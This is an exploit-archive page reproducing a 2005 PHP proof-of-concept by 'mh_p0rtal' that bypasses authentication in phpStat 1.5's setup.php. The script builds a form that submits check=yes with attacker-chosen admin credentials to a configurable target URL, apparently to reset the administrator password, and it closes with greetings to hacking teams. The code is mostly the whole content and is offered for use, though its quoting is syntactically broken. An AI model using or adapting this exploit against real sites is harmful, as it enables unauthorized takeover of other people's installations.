[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php)
# Published : 2005-05-30
# Author : mh_p0rtal
# Previous Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (perl)
# Next Title : phpStat <= 1.5 (setup.php) Authentication Bypass Exploit (php 2)


<?php
error_reporting(E_PARSE);
/*
================================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
================================================================
====Trap-Set Underground Hacking Team===========mh_p0rtal============

Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam
, CrouZ Security Team , Simorgh-ev Security Team ,

====================^^^^^^^^^^^^^^^^^^^-=========================
*/
# Config ________________________________
# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

$url = "http://www.site.com/setup.php";

# EnD ___________________________________

print "<form action="$url?check=yes&username=$username&password=$password" >";
print "<input type="hidden" name="check"  value="yes">";
print "Username : <input type="text" name="username"  value="admin" size="25"><br>";
print "Password : <input type="text" name="password"  value="abc123" size="25"><br>";
print ("<input type=submit value=::Change. > n");
print "</form>";

//------------------------------------------------------End.
?>

# www.Syue.com [2005-05-30]